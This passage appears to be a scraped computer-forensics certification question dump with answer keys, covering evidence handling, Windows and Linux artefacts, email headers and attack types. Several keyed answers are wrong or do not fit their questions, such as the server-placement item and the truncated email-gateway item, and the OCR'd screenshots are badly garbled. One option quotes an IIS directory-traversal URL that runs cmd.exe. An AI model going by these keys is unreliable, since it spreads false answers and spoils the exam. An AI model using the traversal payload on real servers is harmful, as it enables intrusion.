D. LOGINFO2

Answer: D

NEW QUESTION 285
- (Exam Topic 3)
What technique is used by JPEGs for compression?

A. TIFF-8
B. ZIP
C.DCT
D. TCD

Answer: C

NEW QUESTION 290
- (Exam Topic 3)

Buffer overflow vulnerability of a web application occurs when it fails to guard its buffer properly and allows writing beyond its maximum size. Thus, it overwrites the

. There are multiple forms of buffer overflow, including a Heap Buffer Overflow and a Format String Attack.

A. Adjacent memory locations
B. Adjacent bit blocks

C. Adjacent buffer locations
D. Adjacent string locations

Answer: A

NEW QUESTION 293
- (Exam Topic 3)

Which ISO Standard enables laboratories to demonstrate that they comply with quality assurance and provide valid results?

A. ISO/IEC 16025
B. ISO/IEC 18025
C. ISO/IEC 19025
D. ISO/IEC 17025

Answer: D

NEW QUESTION 298
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- (Exam Topic 3)
You need to deploy a new web-based software package for your organization. The package requires three separate servers and needs to be available on the
Internet. What is the recommended architecture in terms of server placement?

A. All three servers need to be placed internally

B. A web server and the database server facing the Internet, an application server on the internal network

C. A web server facing the Internet, an application server on the internal network, a database server on the internal network
D. All three servers need to face the Internet so that they can communicate between themselves

Answer: D

NEW QUESTION 303
- (Exam Topic 3)
Hard disk data addressing is a method of allotting addresses to each of data on a hard disk.

A. Physical block

B. Operating system block
C. Hard disk block

D. Logical block

Answer: A

NEW QUESTION 308
- (Exam Topic 3)
Raw data acquisition format creates of a data set or suspect drive.

A. Segmented image files

B. Simple sequential flat files
C. Compressed image files
D. Segmented files

Answer: B

NEW QUESTION 313
- (Exam Topic 3)
What does the bytes 0xOB-0x53 represent in the boot sector of NTFS volume on Windows 2000?

A. Jump instruction and the OEM ID

B. BIOS Parameter Block (BPB) and the OEM ID

C. BIOS Parameter Block (BPB) and the extended BPB
D. Bootstrap code and the end of the sector marker

Answer: C

NEW QUESTION 314
- (Exam Topic 3)
In which implementation of RAID will the image of a Hardware RAID volume be different from the image taken separately from the disks?

A.RAID 1

B. The images will always be identical because data is mirrored for redundancy
C.RAIDO

D. It will always be different

Answer: D

NEW QUESTION 318

- (Exam Topic 3)

What does the 56.58.152.114(445) denote in a Cisco router log?

Jun 19 23:25:46.125 EST: %SEC-4-IPACCESSLOGHP: list internet-inbound denied udp 67.124.115.35(8084)
->56.58.152.114(445), 1 packet

A. Source IP address

B. None of the above

C. Login IP address

D. Destination IP address

Answer: D

NEW QUESTION 320

- (Exam Topic 3)

Which of the following commands shows you the username and IP address used to access the system via a remote login session and the type of client from which
they are accessing the system?

A. Net config

B. Net sessions
C. Net share

D. Net stat
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Answer: B

NEW QUESTION 325

- (Exam Topic 3)

An International Mobile Equipment Identifier (IMEI) is a 15-digit number that indicates the manufacturer, model type, and country of approval for GSM devices. The
first eight digits of an IMEI number that provide information about the model and origin of the mobile device is also known as:

A. Type Allocation Code (TAC)

B. Integrated Circuit Code (ICC)

C. Manufacturer Identification Code (MIC)
D. Device Origin Code (DOC)

Answer: A

NEW QUESTION 328

- (Exam Topic 3)

Robert is a regional manager working in a reputed organization. One day, he suspected malware attack after unwanted programs started to popup after logging
into his computer. The network administrator was called upon to trace out any intrusion on the computer and he/she finds that suspicious activity has taken place
within Autostart locations. In this situation, which of the following tools is used by the network administrator to detect any intrusion on a system?

A. Hex Editor

B. Internet Evidence Finder
C. Process Monitor

D. Report Viewer

Answer: C

NEW QUESTION 332

- (Exam Topic 3)

As a Certified Ethical Hacker, you were contracted by a private firm to conduct an external security assessment through penetration testing . What document
describes the specifics of the testing, the associated violations, and essentially protects both the organization’s interest and your liabilities as a tester?

A. Project Scope

B. Rules of Engagement

C. Non-Disclosure Agreement
D. Service Level Agreement

Answer: B

NEW QUESTION 333
- (Exam Topic 3)
During forensics investigations, investigators tend to collect the system time at first and compare it with UTC. What does the abbreviation UTC stand for?

A. Coordinated Universal Time
B. Universal Computer Time

C. Universal Time for Computers
D. Correlated Universal Time

Answer: A

NEW QUESTION 337
- (Exam Topic 3)
Where should the investigator look for the Edge browser’s browsing records, including history, cache, and cookies?

A. ESE Database
B. Virtual Memory
C. Sparse files
D. Slack Space

Answer: A

NEW QUESTION 340

- (Exam Topic 3)

Which of the following files store the MySQL database data permanently, including the data that had been deleted, helping the forensic investigator in examining
the case and finding the culprit?

A. mysql-bin
B. mysql-log
C. iblog

D. ibdatal
Answer: D

NEW QUESTION 344
- (Exam Topic 3)
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An investigator has extracted the device descriptor for a 1GB thumb drive that looks like: Disk&Ven_Best_Buy&Prod Geek Squad_U3&Rev_6.15. What does the
“Geek_Squad” part represent?

A. Product description
B. Manufacturer Details
C. Developer description
D. Software or OS used

Answer: A

NEW QUESTION 345
- (Exam Topic 3)
In a Linux-based system, what does the command “Last -F” display?

A. Login and logout times and dates of the system
B. Last run processes

C. Last functions performed

D. Recently opened files

Answer: A

NEW QUESTION 350

- (Exam Topic 3)

Which type of attack is possible when attackers know some credible information about the victim's password, such as the password length, algorithms involved, or
the strings and characters used in its creation?

A. Rule-Based Attack

B. Brute-Forcing Attack

C. Dictionary Attack

D. Hybrid Password Guessing Attack

Answer: A

NEW QUESTION 352

- (Exam Topic 3)

Which of the following network attacks refers to sending huge volumes of email to an address in an attempt to overflow the mailbox or overwhelm the server where
the email address is hosted so as to cause a

denial-of-service attack?

A. Email spamming
B. Phishing

C. Email spoofing
D. Mail bombing

Answer: D

NEW QUESTION 354

- (Exam Topic 3)

companyXYZ has asked you to assess the security of their perimeter email gateway. From your office in New York you craft a specially formatted email message
and send it across the Internet to an employee of CompanyXYZ. The employee of CompanyXYZ is aware.

A. Source code review

B. Reviewing the firewalls configuration

C. Data items and vulnerability scanning

D. Interviewing employees and network engineers

Answer: A

NEW QUESTION 355
- (Exam Topic 3)
During an investigation of an XSS attack, the investigator comes across the term “[a-zA-Z0-9\%]+" in analyzed evidence details. What is the expression used for?

A. Checks for upper and lower-case alphanumeric string inside the tag, or its hex representation
B. Checks for forward slash used in HTML closing tags, its hex or double-encoded hex equivalent
C. Checks for opening angle bracket, its hex or double-encoded hex equivalent

D. Checks for closing angle bracket, hex or double-encoded hex equivalent

Answer: B

NEW QUESTION 356
- (Exam Topic 3)
In which registry does the system store the Microsoft security IDs?

A. HKEY_CLASSES_ROOT (HKCR)
B. HKEY_CURRENT_CONFIG (HKCC)
C. HKEY_CURRENT_USER (HKCU)
D. HKEY_LOCAL_MACHINE (HKLM)
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Answer: D

NEW QUESTION 358
- (Exam Topic 3)
A Linux system is undergoing investigation. In which directory should the investigators look for its current state data if the system is in powered on state?

A. /auth

B. /proc

C. /var/log/debug
D. /var/spool/cron/

Answer: B

NEW QUESTION 359

- (Exam Topic 3)

Gill is a computer forensics investigator who has been called upon to examine a seized computer. This computer, according to the police, was used by a hacker
who gained access to numerous banking institutions to steal customer information. After preliminary investigations, Gill finds in the computer’s log files that the
hacker was able to gain access to these banks through the use of Trojan horses. The hacker then used these Trojan horses to obtain remote access to the
companies’ domain controllers. From this point, Gill found that the hacker pulled off the SAM files from the domain controllers to then attempt and crack network
passwords. What is the most likely password cracking technique used by this hacker to break the user passwords from the SAM files?

A. Syllable attack

B. Hybrid attack

C. Brute force attack
D. Dictionary attack

Answer: D

NEW QUESTION 360
- (Exam Topic 3)
Which command can provide the investigators with details of all the loaded modules on a Linux-based system?

A. list modules -a
B. Ismod

C. plist mod -a
D. Isof -m

Answer: B

NEW QUESTION 362
- (Exam Topic 3)
Which of the following statements is incorrect when preserving digital evidence?

A. Verify if the monitor is in on, off, or in sleep mode

B. Turn on the computer and extract Windows event viewer log files

C. Remove the plug from the power router or modem

D. Document the actions and changes that you observe in the monitor, computer, printer, or in other peripherals

Answer: B

NEW QUESTION 363

- (Exam Topic 3)

Which U.S. law sets the rules for sending emails for commercial purposes, establishes the minimum requirements for commercial messaging, gives the recipients
of emails the right to ask the senders to stop emailing them, and spells out the penalties in case the above said rules are violated?

A. NO-SPAM Act

B. American: NAVSO P-5239-26 (RLL)
C. CAN-SPAM Act

D. American: DoD 5220.22-M

Answer: C

NEW QUESTION 366

- (Exam Topic 3)

Select the tool appropriate for examining the dynamically linked libraries of an application or malware.
A. DependencyWalker

B. SysAnalyzer

C. PEID

D. ResourcesExtract

Answer: A

NEW QUESTION 368
- (Exam Topic 3)
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Consider that you are investigating a machine running an Windows OS released prior to Windows Vista. You are trying to gather information about the deleted files
by examining the master database file named INFO2 located at C:\Recycler\<USER SID>\. You read an entry named "Dd5.exe". What does Dd5.exe mean?

A. D driv

B. fifth file deleted, a .exe file

C. D drive, fourth file restored, a .exe file
D. D drive, fourth file deleted, a .exe file
E. D drive, sixth file deleted, a .exe file

Answer: B

NEW QUESTION 371
- (Exam Topic 3)
Which of the following components within the android architecture stack take care of displaying windows owned by different applications?

A. Media Framework

B. Surface Manager

C. Resource Manager

D. Application Framework

Answer: D

NEW QUESTION 372
- (Exam Topic 3)
When a user deletes a file, the system creates a $l file to store its details. What detail does the $I file not contain?

A. File Size

B. File origin and modification
C. Time and date of deletion
D. File Name

Answer: B

NEW QUESTION 374

- (Exam Topic 3)

Steve, a forensic investigator, was asked to investigate an email incident in his organization. The organization has Microsoft Exchange Server deployed for email
communications. Which among the following files will Steve check to analyze message headers, message text, and standard attachments?

A. PUB.EDB
B. PRIV.EDB
C. PUB.STM
D. PRIV.STM

Answer: B

NEW QUESTION 379
- (Exam Topic 3)
Which of the following application password cracking tool can discover all password-protected items on a computer and decrypts them?

A. TestDisk for Windows

B. R-Studio

C. Windows Password Recovery Bootdisk
D. Passware Kit Forensic

Answer: D

NEW QUESTION 383
- (Exam Topic 3)
Investigators can use the Type Allocation Code (TAC) to find the model and origin of a mobile device. Where is TAC located in mobile devices?

A. International Mobile Equipment Identifier (IMEI)
B. Integrated circuit card identifier (ICCID)

C. International mobile subscriber identity (IMSI)
D. Equipment Identity Register (EIR)

Answer: A

NEW QUESTION 384

- (Exam Topic 3)

Which among the following search warrants allows the first responder to search and seize the victim’s computer components such as hardware, software, storage
devices, and documentation?

A. John Doe Search Warrant

B. Citizen Informant Search Warrant

C. Electronic Storage Device Search Warrant
D. Service Provider Search Warrant
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Answer: C

NEW QUESTION 387

- (Exam Topic 3)

Which command line tool is used to determine active network connections?

A. netsh

B. nbstat
C. nslookup
D. netstat

Answer: D

NEW QUESTION 390

- (Exam Topic 3)

Analyze the hex representation of mysql-bin.000013 file in the screenshot below. Which of the following will be an inference from this analysis?

Hex Workshop - [C\Evidence\mysgl-bin.000013]
By File Eda Duk Options Took Plugelns Window Help
2SHeHd AMNGAE 20 RARP ©

W

vPD BRIO=

- oM
-~

= -

A BREEL N AtidM @E  lesorst IR N
TF 5 AR 9E 'S ooa epes_- X
g 00 00 6F 64 72 65 73 |...wordpress Dt ¥ efivet
< F 49 4 53 45 S2 20 4E 54 4F .INSERT INTO e -
3 4 77 &6F 72 &4 70 65 73 ¢ 2E ‘wordpress® .’ s
E 1111 70 SF 75 65 T3 i 20 : 60 4 wp_users” ("I w16 .
looooorie ceo oo 20 o RN o . T vl
Bl - o 73 65 72 70 61 @°, “user_pa i
3 73 2C &0 73 T2 6E 8", "user_ni wnt2
4 65 6F 61 65 2¢ 60 75 73 cename’, ‘use ntéd
SF &D i €9 60 20 75 r_ email", "us wnths
T2 F 73 74 61 75 60 20 er status’, half float
69 70 61 SF 61 ¢ 65 display_name" float
20 41 4C S5 53 28 27 31 ) VALUES ('12 Soubls
27 2¢ 20 62 64 67 79 3', 'bad_guy' DATE
20 4D 44 28 68 63 6B 73 , MDS('hacksp DOS5 date
72 69 74 29 20 61 6F irit'), ‘anon s tme. ¥
6D &F 75 5F 61 6B T ymous_hacker' : =
20 62 64 75 40 62 ¢ '"badguyBabc Expressony = x
63 F 6D 2C 21 ) 20 .com", '0',; °* Signe v 3 v
65 i 70 55 65 T B6 Temp User').2 __ ,
56 01 00 1B 00 FA S B .
Bwpsenfm B bdatsl B mysdn 00 Ewval
: e athrae vidMsE2rAlD D a2 2, : '_{:CE‘F!'MCI'MM G0 Frd | Ay Bockmarks | | ) Output

Found at pesition (00000123 (291).

A. A user with username bad_guy has logged into the WordPress web application

Cursor: C00001ED

B. A WordPress user has been created with the username anonymous_hacker
C. An attacker with name anonymous_hacker has replaced a user bad_guy in the WordPress database
D. A WordPress user has been created with the username bad_guy

Answer: D

NEW QUESTION 394

- (Exam Topic 3)

Caret: 00000123

What is the framework used for application development for iOS-based mobile devices?

A. Cocoa Touch
B. Dalvik

C. Zygote

D. AirPlay

Answer: A

NEW QUESTION 399

- (Exam Topic 3)

What is the role of Alloc.c in Apache core?

A. It handles allocation of resource pools
B. It is useful for reading and handling of the configuration files
C. It takes care of all the data exchange and socket connections between the client and the server
D. It handles server start-ups and timeouts

Answer: A
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NEW QUESTION 402
- (Exam Topic 3)
What is the capacity of Recycle bin in a system running on Windows Vista?

A. 2.99GB

B. 3.99GB

C. Unlimited

D. 10% of the partition space

Answer: C

NEW QUESTION 407

- (Exam Topic 3)

Which among the following web application threats is resulted when developers expose various internal implementation objects, such as files, directories,
database records, or key-through references?

A. Remote File Inclusion

B. Cross Site Scripting

C. Insecure Direct Object References
D. Cross Site Request Forgery

Answer: C

NEW QUESTION 409
- (Exam Topic 3)
What value of the "Boot Record Signature" is used to indicate that the boot-loader exists?

A. AA55
B. 00AA
C. AAOO
D. A100

Answer: A

NEW QUESTION 413

- (Exam Topic 3)

The given image displays information about date and time of installation of the OS along with service packs, patches, and sub-directories. What command or tool
did the investigator use to view this output?

B Administrator: Command Prompt - O A

. dir /o:d
. dir /o:s
. dir /o:e
. dir /o:n

o0 w>

Answer: A

NEW QUESTION 414
- (Exam Topic 3)
Which of the following does Microsoft Exchange E-mail Server use for collaboration of various e-mail applications?

A. Simple Mail Transfer Protocol (SMTP)
B. Messaging Application Programming Interface (MAPI)
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C. Internet Message Access Protocol (IMAP)
D. Post Office Protocol version 3 (POP3)

Answer: B

NEW QUESTION 417
- (Exam Topic 3)

In which of these attacks will a steganalyst use a random message to generate a stego-object by using some steganography tool, to find the steganography

algorithm used to hide the information?

A. Chosen-message attack
B. Known-cover attack
C. Known-message attack
D. Known-stego attack

Answer: A

NEW QUESTION 422
- (Exam Topic 3)
What does the Rule 101 of Federal Rules of Evidence states?

A. Scope of the Rules, where they can be applied
B. Purpose of the Rules

C. Limited Admissibility of the Evidence

D. Rulings on Evidence

Answer: A

NEW QUESTION 423
- (Exam Topic 3)

Which component in the hard disk moves over the platter to read and write information?

A. Actuator

B. Spindle

C. Actuator Axis
D. Head

Answer: D
NEW QUESTION 426

- (Exam Topic 3)
What does Locard's Exchange Principle state?

A. Any information of probative value that is either stored or transmitted in a digital form
B. Digital evidence must have some characteristics to be disclosed in the court of law

C. Anyone or anything, entering a crime scene takes something of the scene with them, and leaves something of themselves behind when they leave
D. Forensic investigators face many challenges during forensics investigation of a digital crime, such as extracting, preserving, and analyzing the digital evidence

Answer: C

NEW QUESTION 427
- (Exam Topic 3)

Which of the following information is displayed when Netstat is used with -ano switch?

A. Ethernet statistics

B. Contents of IP routing table

C. Details of routing table

D. Details of TCP and UDP connections

Answer: D

NEW QUESTION 432
- (Exam Topic 3)
Which of the following tools is not a data acquisition hardware tool?

A. UltraKit

B. Atola Insight Forensic
C. F-Response Imager
D. Triage-Responder

Answer: C

NEW QUESTION 433
- (Exam Topic 3)
Which of the following is NOT an anti-forensics technique?
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A. Data Deduplication
B. Password Protection
C. Encryption

D. Steganography

Answer: A

NEW QUESTION 434
- (Exam Topic 3)
Data Files contain Multiple Data Pages, which are further divided into Page Header, Data Rows, and Offset Table. Which of the following is true for Data Rows?

A. Data Rows store the actual data

B. Data Rows present Page typ

C. Page ID, and so on

D. Data Rows point to the location of actual data

E. Data Rows spreads data across multiple databases

Answer: B

NEW QUESTION 435
- (Exam Topic 3)
Which of the following is a responsibility of the first responder?

A. Determine the severity of the incident

B. Collect as much information about the incident as possible
C. Share the collected information to determine the root cause
D. Document the findings

Answer: B

NEW QUESTION 438

- (Exam Topic 3)

Jacob is a computer forensics investigator with over 10 years of experience in investigations and has written over 50 articles on computer forensics. He has been
called upon as a qualified witness to testify the accuracy and integrity of the technical log files gathered in an investigation into computer fraud. What is the term
used for Jacob’s testimony in this case?

A. Certification
B. Justification
C. Reiteration

D. Authentication

Answer: D

NEW QUESTION 440
- (Exam Topic 3)
What does the command “C:\>weuvtutil gl <log name>" display?

A. Configuration information of a specific Event Log
B. Event logs are saved in .xml format

C. Event log record structure

D. List of available Event Logs

Answer: A

NEW QUESTION 442
- (Exam Topic 3)
Which of the following techniques delete the files permanently?

A. Steganography
B. Artifact Wiping
C. Data Hiding

D. Trail obfuscation

Answer: B

NEW QUESTION 447

- (Exam Topic 3)

In both pharming and phishing attacks an attacker can create websites that look similar to legitimate sites with the intent of collecting personal identifiable
information from its victims. What is the difference between pharming and phishing attacks?

A. Both pharming and phishing attacks are purely technical and are not considered forms of social engineering

B. In a pharming attack a victim is redirected to a fake website by modifying their host configuration file or by exploiting vulnerabilities in DN

C. In a phishing attack an attacker provides the victim with a URL that is either misspelled or looks similar to the actual websites domain name

D. In a phishing attack a victim is redirected to a fake website by modifying their host configuration file or by exploiting vulnerabilities in DN

E. In a pharming attack an attacker provides the victim with a URL that is either misspelled or looks very similar to the actual websites domain name
F. Both pharming and phishing attacks are identical
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Answer: B

NEW QUESTION 451
- (Exam Topic 3)
> NMAP -sn 192.168.11.200-215 The NMAP command above performs which of the following?

A. A trace sweep

B. A port scan

C. A ping scan

D. An operating system detect

Answer: C

NEW QUESTION 454
- (Exam Topic 3)
Which of the following Windows-based tool displays who is logged onto a computer, either locally or remotely?

A. Tokenmon

B. PSLoggedon

C. TCPView

D. Process Monitor

Answer: B

NEW QUESTION 457
- (Exam Topic 3)
Which of the following is found within the unique instance ID key and helps investigators to map the entry from USBSTOR key to the MountedDevices key?

A. ParentIDPrefix
B. LastWrite

C. UserAssist key
D. MRULIstEXx key

Answer: A

NEW QUESTION 462

- (Exam Topic 3)

The Apache server saves diagnostic information and error messages that it encounters while processing requests. The default path of this file is
usr/local/apache/logs/error.log in Linux. Identify the Apache error log from the following logs.

A. http://victim.com/scripts/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+C:\Winnt\sy
stem32\Logfiles\W3SVC1

B. [Wed Oct 11 14:32:52 2000] [error] [client 127.0.0.1] client denied by server configuration:/export/home/live/ap/htdocs/test

C. 127.0.0.1 - frank [10/Oct/2000:13:55:36 -0700]"GET /apache_pb.gif HTTP/1.0" 200 2326

D. 127.0.0.1 - - [10/Apr/2007:10:39:11 +0300] ] [error] "GET /apache_pb.gif HTTP/1.0" 200 2326

Answer: B

NEW QUESTION 465
- (Exam Topic 3)
Which of these rootkit detection techniques function by comparing a snapshot of the file system, boot records, or memory with a known and trusted baseline?

A. Signature-Based Detection

B. Integrity-Based Detection

C. Cross View-Based Detection

D. Heuristic/Behavior-Based Detection

Answer: B

NEW QUESTION 467

- (Exam Topic 3)

Identify the term that refers to individuals who, by virtue of their knowledge and expertise, express an independent opinion on a matter related to a case based on
the information that is provided.

A. Expert Witness

B. Evidence Examiner
C. Forensic Examiner
D. Defense Witness

Answer: A
NEW QUESTION 470
- (Exam Topic 3)

Chong-lee, a forensics executive, suspects that a malware is continuously making copies of files and folders on a victim system to consume the available disk
space. What type of test would confirm his claim?
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A. File fingerprinting

B. Identifying file obfuscation
C. Static analysis

D. Dynamic analysis

Answer: A

NEW QUESTION 475
- (Exam Topic 3)
Which of the following is NOT a physical evidence?

A. Removable media

B. Cables

C. Image file on a hard disk
D. Publications

Answer: C

NEW QUESTION 480

- (Exam Topic 2)

Jacob is a computer forensics investigator with over 10 years experience in investigations and has written over 50 articles on computer forensics. He has been
called upon as a qualified witness to testify the accuracy and integrity of the technical log files gathered in an investigation into computer fraud. What is the term
used for Jacob testimony in this case?

A. Justification
B. Authentication
C. Reiteration

D. Certification

Answer: B

NEW QUESTION 485

- (Exam Topic 2)

Depending upon the jurisdictional areas, different laws apply to different incidents. Which of the following law is related to fraud and related activity in connection
with computers?

A. 18 USC §1029
B. 18 USC §1030
C. 18 USC 81361
D. 18 USC §1371

Answer: B

NEW QUESTION 489
- (Exam Topic 2)
In the following email header, where did the email first originate from?

Microsoft Maill Internset Headers version 2.0
rReceived: from smtpl.somedomain. com ([199.190,.129.133]) by somedomain. com
with Microsoft sMTPsSVC(A. 0.3790.1830];
Fri, 1 Jun 2007 09:43%:08 -0500
Received: from davidl.state.us.gov.us (davidl,state.ok.gov [172.16, 258.115]0
by smtpl.somedomain.com (8.13.1/8.12.11) with ESMTP id T5LEfCERO3IZ241
for <someone@somedomain. coms=; Fri, 1 Jun 2007 0%:41:13 -0500
received: from simonl.state.ok.gov.us ([172.18,0.199]) by
cavidl. state, ok, gov. us wiTth MICrosolt SsMTPSVCI6. 0, 3790, 1830);
Fri, 1 Jun 2007 09:41:13 =0500
X-Ninja-PIM: Scanned by nNinja
“-tinja-attachmentFiltering: (no action)
«-MimeoLE: Produced By Microsoft Exchange wé, 5.7235.2
Content-class: urn:content-classes:message
Return-receipt-To: “lohnson, Jimmy" <jimmy@somewherelese. com:
MIME-version: 1.0

A. Somedomain.com

B. Smtpl.somedomain.com
C. Simon1.state.ok.gov.us
D. Davidl.state.ok.gov.us

Answer: C

NEW QUESTION 492

- (Exam Topic 2)

Billy, a computer forensics expert, has recovered a large number of DBX files during the forensic investigation of a laptop. Which of the following email clients can
he use to analyze the DBX files?

A. Microsoft Outlook

B. Eudora

C. Mozilla Thunderbird

D. Microsoft Outlook Express
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Answer: D

NEW QUESTION 494
- (Exam Topic 2)
What type of analysis helps to identify the time and sequence of events in an investigation?

A. Time-based
B. Functional
C. Relational
D. Temporal

Answer: D

NEW QUESTION 498
- (Exam Topic 2)
When a router receives an update for its routing table, what is the metric value change to that path?

A. Increased by 2
B. Decreased by 1
C. Increased by 1
D. Decreased by 2

Answer: C

NEW QUESTION 501

- (Exam Topic 2)

Company ABC has employed a firewall, IDS, Antivirus, Domain Controller, and SIEM. The company’s domain controller goes down. From which system would
you begin your investigation?

A. Domain Controller
B. Firewall

C. SIEM

D. IDS

Answer: C

NEW QUESTION 502

- (Exam Topic 2)

After attending a CEH security seminar, you make a list of changes you would like to perform on your network to increase its security. One of the first things you
change is to switch the RestrictAnonymous setting from 0 to 1 on your servers. This, as you were told, would prevent anonymous users from establishing a null
session on the server. Using Userinfo tool mentioned at the seminar, you succeed in establishing a null session with one of the servers. Why is that?

A. RestrictAnonymous must be set to "10" for complete security

B. RestrictAnonymous must be set to "3" for complete security

C. RestrictAnonymous must be set to "2" for complete security

D. There is no way to always prevent an anonymous null session from establishing

Answer: C

NEW QUESTION 505

- (Exam Topic 2)

Harold is a computer forensics investigator working for a consulting firm out of Atlanta Georgia. Harold is called upon to help with a corporate espionage case in
Miami Florida. Harold assists in the investigation by

pulling all the data from the computers allegedly used in the illegal activities. He finds that two suspects in the company where stealing sensitive corporate
information and selling it to competing companies. From the email and instant messenger logs recovered, Harold has discovered that the two employees notified
the buyers by writing symbols on the back of specific stop signs. This way, the buyers knew when and where to meet with the alleged suspects to buy the stolen
material. What type of steganography did these two suspects use?

A. Text semagram
B. Visual semagram
C. Grill cipher

D. Visual cipher

Answer: B

NEW QUESTION 507

- (Exam Topic 2)

Which program is the bootloader when Windows XP starts up?
A. KERNEL.EXE

B. NTLDR

C. LOADER

D. LILO

Answer: B
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NEW QUESTION 509
- (Exam Topic 2)
On an Active Directory network using NTLM authentication, where on the domain controllers are the passwords stored?

A. SAM

B. AMS

C. Shadow file

D. Password.conf

Answer: A

NEW QUESTION 511
- (Exam Topic 2)
What encryption technology is used on Blackberry devices Password Keeper?

A. 3DES
B. AES

C. Blowfish
D. RC5

Answer: B

NEW QUESTION 514

- (Exam Topic 2)

A computer forensics investigator is inspecting the firewall logs for a large financial institution that has employees working 24 hours a day, 7 days a week.
k; ¢ 1 E B 1 el 1] 2 §= 1 = By i 49§ ) ERL e ral

132 spre_poe

r v

Ji

What can the investigator infer from the screenshot seen below?

A. A smurf attack has been attempted

B. A denial of service has been attempted
C. Network intrusion has occurred

D. Buffer overflow attempt on the firewall.

Answer: C

NEW QUESTION 515
- (Exam Topic 2)
What type of equipment would a forensics investigator store in a StrongHold bag?

A. PDAPDA?

B. Backup tapes
C. Hard drives

D. Wireless cards

Answer: D

NEW QUESTION 519

- (Exam Topic 2)

When searching through file headers for picture file formats, what should be searched to find a JPEG file in hexadecimal format?
A. FF D8 FF EO 00 10

B. FF FF FF FF FF FF

C. FF 00 FF 00 FF 00

D. EF 00 EF 00 EF 00

Answer: A

NEW QUESTION 520
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- (Exam Topic 2)
Smith, a network administrator with a large MNC, was the first to arrive at a suspected crime scene involving criminal use of compromised computers. What should
be his first response while maintaining the integrity of evidence?

A. Record the system state by taking photographs of physical system and the display
B. Perform data acquisition without disturbing the state of the systems

C. Open the systems, remove the hard disk and secure it

D. Switch off the systems and carry them to the laboratory

Answer: A

NEW QUESTION 525
- (Exam Topic 2)
Which of the following reports are delivered under oath to a board of directors/managers/panel of the jury?

A. Written Formal Report
B. Verbal Formal Report
C. Verbal Informal Report
D. Written Informal Report

Answer: B

NEW QUESTION 526
- (Exam Topic 2)
When investigating a wireless attack, what information can be obtained from the DHCP logs?

A. The operating system of the attacker and victim computers

B. IP traffic between the attacker and the victim

C. MAC address of the attacker

D. If any computers on the network are running in promiscuous mode

Answer: C

NEW QUESTION 529

- (Exam Topic 2)

Which among the following is an act passed by the U.S. Congress in 2002 to protect investors from the possibility of fraudulent accounting activities by
corporations?

A. HIPAA
B. GLBA
C. SOX
D. FISMA

Answer: C

NEW QUESTION 533
- (Exam Topic 2)
The process of restarting a computer that is already turned on through the operating system is called?

A. Warm boot
B. Ice boot

C. Hot Boot
D. Cold boot

Answer: A

NEW QUESTION 535

- (Exam Topic 2)

Your company's network just finished going through a SAS 70 audit. This audit reported that overall, your network is secure, but there are some areas that needs
improvement. The major area was SNMP security. The audit company recommended turning off SNMP, but that is not an option since you have so many remote
nodes to keep track of. What step could you take to help secure SNMP on your network?

A. Block all internal MAC address from using SNMP
B. Block access to UDP port 171

C. Block access to TCP port 171

D. Change the default community string names

Answer: D

NEW QUESTION 538
- (Exam Topic 2)
What method of copying should always be performed first before carrying out an investigation?

A. Parity-bit copy

B. Bit-stream copy

C. MS-DOS disc copy
D. System level copy
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Answer: B

NEW QUESTION 542
- (Exam Topic 2)
What hashing method is used to password protect Blackberry devices?

A. AES
B. RC5
C. MD5
D. SHA-1

Answer: D

NEW QUESTION 547

- (Exam Topic 2)

A small law firm located in the Midwest has possibly been breached by a computer hacker looking to obtain information on their clientele. The law firm does not
have any on-site IT employees, but wants to search for evidence of the breach themselves to prevent any possible media attention. Why would this not be
recommended?

A. Searching for evidence themselves would not have any ill effects
B. Searching could possibly crash the machine or device

C. Searching creates cache files, which would hinder the investigation
D. Searching can change date/time stamps

Answer: D

NEW QUESTION 552
- (Exam Topic 2)
When carrying out a forensics investigation, why should you never delete a partition on a dynamic disk?

A. All virtual memory will be deleted

B. The wrong partition may be set to active

C. This action can corrupt the disk

D. The computer will be set in a constant reboot state

Answer: C

NEW QUESTION 555
- (Exam Topic 2)
Which of the following refers to the process of the witness being questioned by the attorney who called the latter to the stand?

A. Witness Authentication
B. Direct Examination

C. Expert Witness

D. Cross Questioning

Answer: B

NEW QUESTION 558
- (Exam Topic 2)
Why would a company issue a dongle with the software they sell?

A. To provide source code protection

B. To provide wireless functionality with the software
C. To provide copyright protection

D. To ensure that keyloggers cannot be used

Answer: C

NEW QUESTION 563
- (Exam Topic 2)
Who is responsible for the following tasks?

A. Non-forensics staff

B. Lawyers

C. System administrators

D. Local managers or other non-forensic staff

Answer: A

NEW QUESTION 567
- (Exam Topic 2)
Which rule requires an original recording to be provided to prove the content of a recording?

A. 1004
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B. 1002
C. 1003
D. 1005

Answer: B

NEW QUESTION 572
- (Exam Topic 2)

Which of the following are small pieces of data sent from a website and stored on the user's computer by the user’'s web browser to track, validate, and maintain

specific user information?

A. Temporary Files

B. Open files

C. Cookies

D. Web Browser Cache

Answer: C

NEW QUESTION 573
- (Exam Topic 2)

Which of the following data structures stores attributes of a process, as well as pointers to other attributes and data structures?

A. Lsproc

B. DumpChk
C. RegEdit
D. EProcess

Answer: D

NEW QUESTION 578
- (Exam Topic 2)

In the following directory listing,

Falders

x

L) Forms
i) HTML Help
I Installer
1 Internet Explorer
\) Media Player
i) Microsoft SQL Server
i) MMC
i) MSDN
i) Office
) OIS
) Outlook
i) PowerPoint
i) Proof
tH ) Protect
L0) Signatures

&

[#)

[+]

# B

I3 Away N2
T;l] Bunay 51

2 Away.xml
@ oukcrnd. dat
I3 outlook.hK2
-E] Outlook.srs
2 Outlook.xml
= outlPrmt
l:!-'], Outlook.pst
E] Outlook.bak

l:!:} Outlook.ost

Which file should be used to restore archived email messages for someone using Microsoft Outlook?

A. Outlook bak
B. Outlook ost
C. Outlook NK2
D. Outlook pst

Answer: D

NEW QUESTION 583
- (Exam Topic 2)

Which network attack is described by the following statement? "At least five Russian major banks came under a continuous hacker attack, although online client
services were not disrupted. The attack came from a wide-scale botnet involving at least 24,000 computers, located in 30 countries."

A. Man-in-the-Middle Attack

B. Sniffer Attack
C. Buffer Overflow
D. DDoS

Answer: D

NEW QUESTION 587
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- (Exam Topic 2)
Which of the following tool enables data acquisition and duplication?

A. Colasoft's Capsa
B. DriveSpy

C. Wireshark

D. Xplico

Answer: B

NEW QUESTION 591
- (Exam Topic 2)
What type of flash memory card comes in either Type | or Type Il and consumes only five percent of the power required by small hard drives?

A. SD memory
B. CF memory
C. MMC memory
D. SM memory

Answer: B

NEW QUESTION 592

- (Exam Topic 2)

